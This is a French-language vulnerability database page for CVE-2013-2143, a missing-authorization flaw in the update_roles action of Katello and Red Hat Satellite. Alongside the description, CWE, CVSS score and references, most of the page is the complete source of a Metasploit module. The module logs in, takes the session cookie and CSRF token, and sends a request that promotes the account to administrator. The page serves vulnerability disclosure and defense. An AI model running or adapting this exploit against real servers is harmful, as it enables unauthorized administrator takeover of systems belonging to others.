CVE-2013-2143 : Détail

CVE-2013-2143

A03-Injection
76.49%V3
Network
2014-04-17
12h00 +00:00
2014-04-17
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The users controller in Katello 1.5.0-14 and earlier, and Red Hat Satellite, does not check authorization for the update_roles action, which allows remote authenticated users to gain privileges by setting a user account to an administrator account.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 32515

Date de publication : 2014-03-25 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', 'Description' => %q{ This module exploits a missing authorization vulnerability in the "update_roles" action of "users" controller of Katello and Red Hat Satellite (Katello 1.5.0-14 and earlier) by changing the specified account to an administrator account. }, 'Author' => 'Ramon de C Valle', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-2143'], ['CWE', '862'] ], 'DisclosureDate' => 'Mar 24 2014' ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Your username']), OptString.new('PASSWORD', [true, 'Your password']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), ], self.class ) end def run print_status("Logging into #{target_url}...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'user_session', 'new'), 'vars_get' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end print_status('Retrieving the CSRF token for this session...') res = send_request_cgi( 'cookie' => "_katello_session=#{session}", 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'dashboard') ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end if res.headers['Location'] =~ /user_session\/new$/ print_error('Failed to retrieve the user id') return else csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil? if csrf_token.nil? print_error('Failed to retrieve the CSRF token') return end user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/ if user.nil? print_error('Failed to retrieve the user id') return end end print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...") res = send_request_cgi( 'cookie' => "_katello_session=#{session}", 'headers' => { 'X-CSRF-Token' => csrf_token }, 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), 'vars_post' => { 'user[role_ids][]' => '1' } ) if res.nil? print_error('No response from remote host') return end if res.headers['X-Message-Type'] =~ /success$/ print_good('User updated successfully') else print_error('Failed to update user') end end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end

Products Mentioned

Configuraton 0

Redhat>>Network_satellite >> Version -

Theforeman>>Katello >> Version To (including) 1.5.0-14

Références

http://www.exploit-db.com/exploits/32515
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/66434
Tags : vdb-entry, x_refsource_BID
http://www.osvdb.org/104981
Tags : vdb-entry, x_refsource_OSVDB